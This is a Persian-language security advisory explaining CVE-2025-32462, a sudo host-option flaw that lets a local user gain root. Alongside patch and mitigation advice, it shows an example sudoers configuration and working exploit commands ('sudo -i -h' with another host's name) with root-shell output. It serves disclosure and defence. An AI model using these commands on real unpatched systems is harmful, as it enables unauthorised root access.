خانه » آسیب پذیری LPE در Sudo Host

آسیب پذیری LPE در Sudo Host

Sudo Host Option Elevation of Privilege

توسط Vulnerlab
494 بازدید
vulnerlab - والنرلب - آسیب پذیری LPE از طریق گزینه Host در Sudo

CVE-2025-32462 یک آسیب ‌پذیری در برنامه sudo می‌باشد. هنگامی که فایل‌های  sudoersشامل گزینه host  باشند و آن host، نَه «host فعلی» و نَه «ALL» باشد، مهاجم لوکال می‌تواند بررسی‌های مبتنی بر میزبان (host checks) را دور بزند و دستورات را با سطح دسترسی‌ بالاتر اجرا کند. این آسیب ‌پذیری با انتشار نسخه sudo 1.9.17p1 پچ شده است.

جزئیات فنی

Sudo یک ابزار خط‌فرمان با سطح دسترسی بالا است که معمولاً روی سیستم‌های لینوکس نصب می‌شود. این ابزار به کاربران مُجاز اجازه می‌دهد تا دستوری را به‌عنوان superuser (سوپریوز) یا به‌عنوان کاربر دیگری (بسته به خط‌مشی امنیتی سیستم) اجرا کنند. Sudo به‌طور گسترده برای اجرای اصل حداقل سطح دسترسی به‌کار می‌رود. از این رو، به کاربران اجازه می‌دهد تا وظایف مدیریتی را که مستلزم سطح دسترسی بالا هستند، بدون اشتراک‌گذاری گذرواژه root به انجام رسانند و هم‌زمان ردپایی از کاربر در لاگ‌های سیستم ثبت شود.

تیم تحقیقات سایبری Stratascale (CRU) اخیراً دو آسیب ‌پذیری LPE (CVE-2025-32462 و CVE-2025-32463) را در Sudo کشف کرده است. این آسیب ‌پذیری‌ها می‌توانند منجر به دسترسی root بر روی سیستم‌های آسیب ‌پذیر شوند. این مقاله بررسی می‌کند که چگونه host در Sudo می‌تواند مورد سوءاستفاده قرار گیرد تا فرمان‌ها بر روی میزبان‌های غیرمجاز اجرا شوند.

خلاصه آسیب ‌پذیری

  • شناسه آسیب ‌پذیری:  CVE-2025-32462
  • مؤثر بر: ابزار sudo
  • نوع آسیب ‌پذیری: افزایش سطح دسترسی لوکال (Local Privilege Escalation)
  • روش سوء استفاده: از طریق host در sudo

پیامد

آسیب ‌پذیری CVE-2025-32462 بیش از ۱۲ سال است که در کد وجود داشته و تا کنون شناسایی نشده بود. این نقص امنیتی ناشی از یک پیکربندی خاص اما متداول می‌باشد که در آن، قواعد Sudo بر اساس نام میزبان یا الگوهای نام میزبان محدود شده‌اند. در این حالت، امکان ارتقای سطح دسترسی به root بدون نیاز به اجرای اکسپلویت امکان‌پذیر خواهد بود.

نسخه‌های زیر به‌ عنوان نسخه‌های آسیب ‌پذیر شناخته شده‌اند.

نکته: همه نسخه‌های داخل این بازه به‌طور کامل آزمایش نشده‌اند.

				
					Stable: 1.9.0 – 1.9.17
Legacy: 1.8.8 – 1.8.32
				
			

امکان سوء استفاده در موارد زیر تأیید شده است:

				
					Ubuntu 24.04.1 — Sudo 1.9.15p5, Sudo 1.9.16p2
macOS Sequoia 15.3.2 — Sudo 1.9.13p2
				
			

توصیه‌ای به مدیران سیستم و تیم‌های امنیتی

  • به‌روزرسانی پکیج‌های Sudo: آخرین نسخه‌های پکیج Sudo را بر روی سیستم خود نصب کنید. برای این آسیب ‌پذیری هیچ راه‌حل موقتی وجود ندارد.
  • جستجو برای استفاده از گزینه Host: در محیط خود به‌دنبال هر استفاده‌ای از گزینه‌هایHost یا Host_Alias باشید. تمام قواعد Sudo را در /etc/sudoers و فایل‌های زیرمجموعه /etc/sudoers.d بازبینی کنید. چنانچه قواعد Sudo در LDAP ذخیره شده‌اند، از ابزارهایی مانند ldapsearch برای استخراج و بررسی آن‌ها استفاده کنید.

CVE-2025-32462 آسیب‌ پذیری افزایش سطح دسترسی در Sudo Host

CVE-2025-32462 مشکلی است که از زمان پیاده‌سازی گزینه Host در ۱۲ سال قبل، پنهان مانده بود. از آنجا که این یک گزینه داخلی است، برای افزایش سطح دسترسی نیازی به اکسپلویت نمی‌باشد. با این حال، این مشکل فقط با پیکربندی‌های خاص با استفاده از دستورالعمل‌های Host یا Host_Alias ​​که معمولاً در محیط‌های سازمانی استفاده می‌شوند، قابل اکسپلویت است.

گزینه -h (–host) در Sudo نسخه ۱.۸.۸ که در سپتامبر ۲۰۱۳ منتشر گردید، پیاده‌سازی شده است. این گزینه به کاربران اجازه می‌دهد تا قوانین Sudo خود را برای میزبانی غیر از میزبان فعلی فهرست کنند.

گزیده‌ای از فایل NEWS:

اکنون می‌توان از گزینه ‎-h (–host)‎ برای مشخص کردن نام میزبان استفاده کرد. این گزینه در حال حاضر فقط توسط افزونه sudoers در رابطه با گزینه ‎-l (–list)‎ استفاده می‌شود.

پیکربندی sudoers از سینتکس انعطاف‌پذیر برخوردار است که می‌تواند نیازهای فنی سازمان‌هایی با هر اندازه را برآورده سازد. به جای نگهداری چندین فایل پیکربندی مجزا برای انواع مختلف میزبان‌ها  (hosts)، می‌توان تنها یک فایل sudoers را در میان انواع سیستم‌های Linux و UNIX توزیع کرد. این کار از طریق محدود کردن قوانین به کاربران، گروه‌ها و میزبان‌های خاص انجام می‌شود.

به عنوان مثال، قطعه‌کد زیر از فایل sudoers دو قانون را برای کاربر lowpriv  تعریف می‌کند. این فایل در سه سرور مختلف (prod، dev و ci) توزیع شده است. هدف از این تنظیمات آن است که دسترسی به محیط تولید (production) محدود گردد، اما به کاربر lowpriv اجازه داده شود تا محیط توسعه (development) را به طور کامل مدیریت کند.

  • دو خط اول شامل دستورهای Host_Alias  می‌باشند که متغیرهایی شامل فهرستی از میزبان‌ها را تعریف می‌کنند.
  • قانون اول از این متغیرها استفاده می‌کند تا به کاربر lowpriv اجازه دهد همه دستورات را به‌عنوان کاربر root روی سرور توسعه اجرا کند، اما این دسترسی را به‌طور صریح روی سرور تولید غیرفعال می‌کند.
  • قانون دوم به‌طور مشخص به کاربر lowpriv اجازه می‌دهد تا تمام دستورات را بر روی سرور CI (با نام ci.test.local) اجرا کند.
				
					Host_Alias    SERVERS        = prod.test.local, dev.test.local
Host_Alias    PROD           = prod.test.local
lowpriv       SERVERS, !PROD = NOPASSWD: ALL
lowpriv       ci.test.local  = NOPASSWD: ALL
				
			

اجرای Sudo list (دستور sudo -l) تأیید می‌کند که کاربر lowpriv اجازه اجرای هیچ یک از دستورات  Sudo‌ را بر روی سرور production ندارد، زیرا دستور نفی !PROD به‌صورت صریح این دسترسی را رد کرده است.

				
					lowpriv@prod:~$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
				
			

وقتی یک کاربر دستور Sudo را اجرا می‌کند، چندین ویژگی با یکدیگر مقایسه می‌شوند تا یک قانون منطبق پیدا شود. چنانچه تطابقی یافت شود، دستور یا اجازه اجرا پیدا می‌کند یا رد می‌شود.
فعال کردن debugging از طریق فایل etc/sudo.conf/ باعث تولید ورودی‌های لاگ زیر (برای خوانایی بیشتر قالب‌بندی شده‌اند) در حین ارزیابی ویژگی‌ها می‌شود تا مشخص گردد آیا کاربر lowpriv اجازه دارد دستوری را به‌عنوان کاربر root بر روی سرور production اجرا کند یا خیر.

با وجود اینکه این کاربر با Host_Alias به نام SERVERS مطابقت دارد، درخواست او رد می‌شود، زیرا قانون نفی صریح !PROD وجود دارد که این همان رفتار مورد انتظار است.

				
					user lowpriv              matches sudoers user      lowpriv: ALLOW
host prod.test.local (prod)  matches sudoers host      prod.test.local: ALLOW
host prod.test.local (prod)  matches sudoers host      !PROD: DENY
				
			

گزینه‌ی -h host یا host=host– برای این طراحی شده است که کاربر بتواند قوانین Sudo مربوط به یک میزبان دیگر را مشاهده کند. هنگامی که کاربر lowpriv دستور list را با تنظیم گزینه‌ی host اجرا می‌کند، قوانین مربوط به آن میزبان مشخص‌ شده نمایش داده می‌شوند.
این موضوع تأیید می‌کند که کاربر lowpriv اجازه دارد تمام دستورات مربوط به کاربر root را بر روی سرور dev.test.local اجرا کند.

				
					lowpriv@prod:~$ sudo -l -h dev.test.local
Matching Defaults entries for lowpriv on dev:
	Env_reset, mail_badpass, secure_path=/usr/local
User lowpriv may run the following commands on dev:
	(root) NOPASSWD: ALL
				
			

بررسی دستور راهنمای استفاده از Sudo نشان می‌دهد که گزینه host برای عملیات‌هایی غیر از لیست مانند sudoedit ( sudo -e) نیز پشتیبانی می‌شود. این رفتار به‌طور مستقیم با مستندات رسمی در تضاد است، زیرا در مستندات آمده است:

«در حال حاضر، این گزینه فقط توسط افزونه sudoers و در ترکیب با گزینه‌ی ‎-l‎ (یا  ‎–list‎) استفاده می‌شود».

				
					lowpriv@prod:~$ sudo -h
sudo - execute a command as another user 

usage: sudo -h | -k | -k | -V
usage: sudo -v [-ABkNnS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -1 [-ABkNnS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command [arg...]]
usage: sudo [-ABbEHkNnPS] [-r role] [-t type] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] [VAR=value] [-il-s] [command [arg...]]
usage: sudo -e [-ABkNnS] [-r role] [-t type] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...
				
			

تیم CRU شرکت Stratascale متوجه شد که از زمان معرفی گزینه‌ی host در سال ۲۰۱۳، اجرای دستور sudo یا sudoedit همراه با گزینه‌ی host که به قانونی مربوط به یک میزبان راه‌دور و نامرتبط اشاره می‌کند، باعث می‌شود Sudo آن قانون را برای سیستم لوکال معتبر تلقی کند.
در نتیجه، هر دستوری که در قانون مربوط به میزبان راه‌دور مجاز باشد، می‌تواند بر روی دستگاه لوکال نیز اجرا شود.

با وجود اینکه برای کاربر lowpriv دسترسی به سرور production به‌طور صریح ممنوع شده است، او می‌تواند دسترسی root را با مشخص کردن گزینه‌ی host مربوط به سرور توسعه (development) به‌دست آورد.

				
					lowpriv@prod:~$ sudo -i -h dev.test.local
root@prod:~# id
uid= 0(root) gid=0(root) groups=0(root)
				
			

سرور یکپارچه‌سازی مداوم (Continuous Integration) با نام ci.test.local نیز می‌تواند مشخص شود تا دسترسی کامل root به‌دست آید.

				
					lowpriv@prod:~$ sudo -i -h ci.test.local
root@prod:~# id
uid=0(root) gid=0(root) groups=0(root)
				
			

بررسی لاگ دیباگ (debug log) حاکی از آن است که تمام ویژگی‌ها با قانون Sudo مربوط به سرور ci.test.local مطابقت داشته‌اند و به کاربر lowpriv اجازه داده شده است تا bin/bash/ را از طریق sudo -i  اجرا کند.

				
					user lowpriv                matches sudoers user       lowpriv: ALLOW
host ci.test.local  (ci)     matches sudoers host       ci.test.local: ALLOW
user root                   matches sudoers user       root: ALLOW
user command “/bin/ sh”    matches sudoers command   “ALL”: ALLOW
				
			

راه‌حل اولیه‌ای که توسط تاد میلر (Todd Miller)، توسعه‌دهنده و نگهدارنده پروژه Sudo پیشنهاد و تأیید گردید، به‌طور مؤثر این مشکل را برطرف می‌کند؛ گونه‌ای که گزینه host تنها برای عملیات لیست (list) قابل استفاده باشد.

				
					---a/plugins/sudoers/sudoers.c
+++ b/plugins/sudoers/sudoers.c
@@  -350,6 + 350,18  @@ sudoers_check_common(struct sudoers_context *ctx, int pwflag)
time_t now;
debug_decl(sudoers_check_common, SUDOERS_DEBUG_PLUGIN);

            /* The user may only specify a host for "sudo -l”. */
	     if (!ISSET(ctx->mode, MODE_LIST|MODE_CHECK))  {
         if (strcmp(ctx->runas.host, ctx->user.host) != 0)  {
               log_warningx(ctx, SLOG_NO_STDERR|SLOG_AUDIT,
               N_("user not allowed to set remote host for command"))
               sudo_warnx("%s",
               U_("a remote host may only be specified when listing privileges."));
               right = false;
               goto done;
}
}
				
			

با اعمال پچ، اجرای دستور اکنون با خطای استفاده (usage error) مواجه می‌شود.

				
					lowpriv@prod:~$ sudo -i -h ci.test.local
sudo: a remote host may only be specified when listing privileges.

				
			

سخن پایانی

این آسیب ‌پذیری در محیط‌هایی که از فایل پیکربندی مشترک sudoers  در چندین ماشین استفاده می‌کنند یا از سیستم‌های مدیریت هویت مانند LDAP یا SSSD بهره می‌برند، خطرناک است و در عمل می‌تواند به مهاجمان لوکال اجازه دهد تا به‌راحتی به دسترسی root دست یابند.

به منظور مقابله با این آسیب ‌پذیری، به‌روزرسانی sudo به نسخه 1.9.17p1 یا بالاتر توصیه می‌شود. همچنین، محدود یا غیرفعال کردن استفاده از گزینه -h در دستور sudo می‌تواند به افزایش امنیت سیستم کمک کند.

جدول زمانی افشای آسیب‌پذیری

  • ۰۱/۰۴/۲۰۲۵: ارسال گزارش آسیب ‌پذیری به Todd Miller (نگهدارنده  Sudo).
  • ۰۳/۰۴/۲۰۲۵: پیگیری برای تأیید دریافت گزارش اولیه.
  • ۰۳/۰۴/۲۰۲۵: تأیید دریافت گزارش؛ شروع بحث اولیه.
  • ۰۶/۰۴/۲۰۲۵: Todd Miller ، پچ آسیب ‌پذیری CVE-2025-32462 را پیشنهاد داد.
  • ۰۷/۰۴/۲۰۲۵: درخواست CVEاز MITRE.
  • ۰۸/۰۴/۲۰۲۵: MITRE نیز CVE-2025-32462 (host option) و CVE-2025-32463 (chroot) را اختصاص داد.
  • ۰۸/۰۴/۲۰۲۵: پچ CVE-2025-32462 بررسی و بازخورد اضافی ارائه شد.
  • ۲۳/۰۴/۲۰۲۵: پیگیری برای به‌روزرسانی.
  • ۰۶/۰۵/۲۰۲۵: پیگیری برای به‌روزرسانی.
  • ۰۶/۰۵/۲۰۲۵: پاسخ Todd Miller، هنوز روی راه‌حل برای مشکل chroot کار می‌کند.
  • ۰۷/۰۵/۲۰۲۵: ارائه بازخورد درباره مشکل chroot.
  • ۱۶/۰۵/۲۰۲۵: پیگیری برای به‌روزرسانی.
  • ۰۴/۰۶/۲۰۲۵: پیگیری برای به‌روزرسانی.
  • ۰۹/۰۶/۲۰۲۵: Todd Miller پچ برای CVE-2025-32463 پیشنهاد داد.
  • ۱۰/۰۶/۲۰۲۵: بررسی پچ CVE-2025-32463 و پیشنهاد جدول زمانی افشاء.
  • ۲۳/۰۶/۲۰۲۵: پچ به لیست توزیع‌های سیستم‌عامل ارسال و لینک‌های اطلاعیه Sudo تأیید شد.
  • ۳۰/۰۶/۲۰۲۵: افشای عمومی صورت پذیرفت.
  • ۳۰/۰۶/۲۰۲۵: انتشار مقاله وبلاگی.

منبع

همچنین ممکن است دوست داشته باشید

پیام بگذارید

wpChatIcon
wpChatIcon